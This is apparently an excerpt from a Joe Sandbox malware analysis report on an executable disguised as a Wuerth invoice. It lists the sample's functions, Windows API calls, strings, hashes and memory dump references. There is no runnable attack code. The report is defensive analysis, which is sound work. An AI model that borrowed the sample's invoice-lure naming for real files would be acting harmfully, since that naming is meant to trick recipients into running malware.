Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsf6188.tmp$C:\Users\user\AppData\Local\Temp\nsf6188.tmp\System.dll
API String ID: 3109718747-559492052
Opcode ID: 7ef13922dd86819f4a6f1499e6c3649cd13b68833cd32dab26c604e9712bb6b5
Instruction ID: f33233f6b55fe66688b611574b9ef10b0b9a875e6cfed5cf08d690a2f45472d2
Opcode Fuzzy Hash: 7ef13922dd86819f4a6f1499e6c3649cd13b68833cd32dab26c604e9712bb6b5
Instruction Fuzzy Hash: 9211E772A01314BEDB10AFB18F4AA9E3265AF94795F20803BF401F61C1DAFC8A41466E

Function 100018A9 Relevance: 7.7, APIs: 5, Instructions: 189COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 10001908
GlobalFree.KERNEL32(?), ref: 10001A93
GlobalFree.KERNEL32(?), ref: 10001A98

Memory Dump Source

Source File: 00000000.00000002.2557535057.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2557517114.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2557549855.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2557564839.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 2b8b4b1e7525df0b70178d99aec232a76bf74dae3dcdb19d2f86b3abb44108d8
Instruction ID: 56de187798276af1e94fdae5c91d23c4da0ac5596926d43ddda2a484f8c4ba85
Opcode Fuzzy Hash: 2b8b4b1e7525df0b70178d99aec232a76bf74dae3dcdb19d2f86b3abb44108d8
Instruction Fuzzy Hash: 82511336E06115ABFB14DFA488908EEBBF5FF863D0F16406AE801B315DD6706F809792

Function 00402BFF Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402C20
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402C5C
RegCloseKey.ADVAPI32(?), ref: 00402C65
RegCloseKey.ADVAPI32(?), ref: 00402C8A
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402CA8

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 3f441c19f0f34b91adbe303d8aafc709c018744c962571da53865d23c2bfc605
Instruction ID: 0f445eedd0ead43dce11b02a34d11ee125e6b361330db3d8f0abcaa344057bef
Opcode Fuzzy Hash: 3f441c19f0f34b91adbe303d8aafc709c018744c962571da53865d23c2bfc605
Instruction Fuzzy Hash: 4B116771904118BFEF10AF90DF8CEAE3B79FB54384F10403AF906E10A0D7B48E55AA29

Function 100015FF Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002148,?,00000808), ref: 10001617
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,10002148,?,00000808), ref: 1000161E
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002148,?,00000808), ref: 10001632
GetProcAddress.KERNEL32(10002148,00000000), ref: 10001639
GlobalFree.KERNEL32(00000000), ref: 10001642

Memory Dump Source

Source File: 00000000.00000002.2557535057.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2557517114.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2557549855.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2557564839.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Function 00401CFA Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D00
GetClientRect.USER32(00000000,?), ref: 00401D0D
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D2E
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D3C
DeleteObject.GDI32(00000000), ref: 00401D4B

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 4fb69f73fad73e138531d08d1da20d2bc7aa421d7220b7116dfe682e7926e79c
Instruction ID: 414e13ebf6cb56e84a4404cc700fc4dd46923a21780f0405722d8e14d33058f0
Opcode Fuzzy Hash: 4fb69f73fad73e138531d08d1da20d2bc7aa421d7220b7116dfe682e7926e79c
Instruction Fuzzy Hash: 6CF0E172500504AFD701DBE4DE88CEFBBBDEB48311B104466F541F51A1CA749D018B28

Function 00404948 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(007A1F20,007A1F20,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 004049E9
wsprintfW.USER32 ref: 004049F2
SetDlgItemTextW.USER32(?,007A1F20), ref: 00404A05

Strings

%u.%u%s%s, xrefs: 004049D3

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: db785ee730d0a4d628520b2c6d5dc9ea4aae3190b25b70f1a9c81c2a6377a7ed
Instruction ID: 2b7e710ae6fbde1b358b0fd1b9910d87067a2729d46772617da3059f694cf418
Opcode Fuzzy Hash: db785ee730d0a4d628520b2c6d5dc9ea4aae3190b25b70f1a9c81c2a6377a7ed
Instruction Fuzzy Hash: 7E11D8B36041282BDB10A67D9C45E9F3288DB85374F150237FE26F31D6D978D81182E8

Function 00401BDF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C3F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C57

Strings

!, xrefs: 00401C13

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: c52d995c6a09de31d07699e48f6cc19fb67cda0d220f09855fcf85d18e9887f1
Instruction ID: 645ef1fb58c2a3823f89181aa82dd13db394815f37a7e78e367622b5584871de
Opcode Fuzzy Hash: c52d995c6a09de31d07699e48f6cc19fb67cda0d220f09855fcf85d18e9887f1
Instruction Fuzzy Hash: 17219071940209BEEF01AFB5CE4AABE7B75EB44744F10403EF601B61D1D6B88A409B69

Function 00405EFA Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,00000002,Call,?,0040616D,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405F24
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?,?,0040616D,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405F45
RegCloseKey.ADVAPI32(?,?,0040616D,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405F68

Strings

Call, xrefs: 00405EFD

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Call
API String ID: 3677997916-1824292864
Opcode ID: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction ID: 67c10a838693b4c4a2102f8098a5dbc089b4be67bb217fb13d6fb11fa6bedce4
Opcode Fuzzy Hash: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction Fuzzy Hash: D6015E3210020AEBCF218F25ED08EDB3BACEF44350F00403AF949D2120D735D964CBA9

Function 00405A8C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,?,C:\,?,00405B00,C:\,C:\,75923420,?,C:\Users\user\AppData\Local\Temp\,0040583E,?,75923420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405A9A
CharNextW.USER32(00000000), ref: 00405A9F
CharNextW.USER32(00000000), ref: 00405AB7

Strings

C:\, xrefs: 00405A8D

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CharNext
String ID: C:\
API String ID: 3213498283-3404278061
Opcode ID: d4fc8010274739b422e9c4851511b62dbacfb07d9cf0bff86c6d3941990f78f8
Instruction ID: 4ef724c51caf64a06ad4a76328470f7663c7b7c42372c069b901feda00360d9b
Opcode Fuzzy Hash: d4fc8010274739b422e9c4851511b62dbacfb07d9cf0bff86c6d3941990f78f8
Instruction Fuzzy Hash: C5F09021B41A2597EF3176584CC5E7766BCEB54364B00C63BE641B72C1D3B848818EEA

Function 004059E1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040326A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034A5), ref: 004059E7
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040326A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034A5), ref: 004059F1
lstrcatW.KERNEL32(?,0040A014), ref: 00405A03

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004059E1

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-823278215
Opcode ID: 50926409037afd5c3b117ee0fc1a0f088670877cc81c495d68363141157855c1
Instruction ID: 3776da6525f732e5293341d69cc0e540229ccfe12881bb96e40b78ab3c334061
Opcode Fuzzy Hash: 50926409037afd5c3b117ee0fc1a0f088670877cc81c495d68363141157855c1
Instruction Fuzzy Hash: C7D0A771141534AAC221EB469C04CDF639C9F46304341403FF501B30A2C77C5D5187FE

Function 00402D8A Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00402F6A,00000001,?,?,"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe",00403513,?), ref: 00402D9D
GetTickCount.KERNEL32 ref: 00402DBB
CreateDialogParamW.USER32(0000006F,00000000,00402D04,00000000), ref: 00402DD8
ShowWindow.USER32(00000000,00000005,?,?,"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe",00403513,?), ref: 00402DE6

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 3ba6df06d1a8a2ebff1cb487cdf72ecd2568b7f3d734aee4a10920d39395f5c6
Instruction ID: ad8085ed609e9a9848802d48f5936c49a501436460537f39ac663ee6903d91f9
Opcode Fuzzy Hash: 3ba6df06d1a8a2ebff1cb487cdf72ecd2568b7f3d734aee4a10920d39395f5c6
Instruction Fuzzy Hash: D2F05831526A21ABC6A16B24FE8CA9B7B64AB84B11711847BF041B11F4DA7C0C92CB9C

Function 00403B4C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(00000000,007A7A20), ref: 00403BE4

Strings

"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe", xrefs: 00403B4D
1033, xrefs: 00403B50, 00403B5A, 00403BCB

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: TextWindow
String ID: "C:\Users\user\Desktop\Wuerth_factura_4052073226..exe"$1033
API String ID: 530164218-405169850
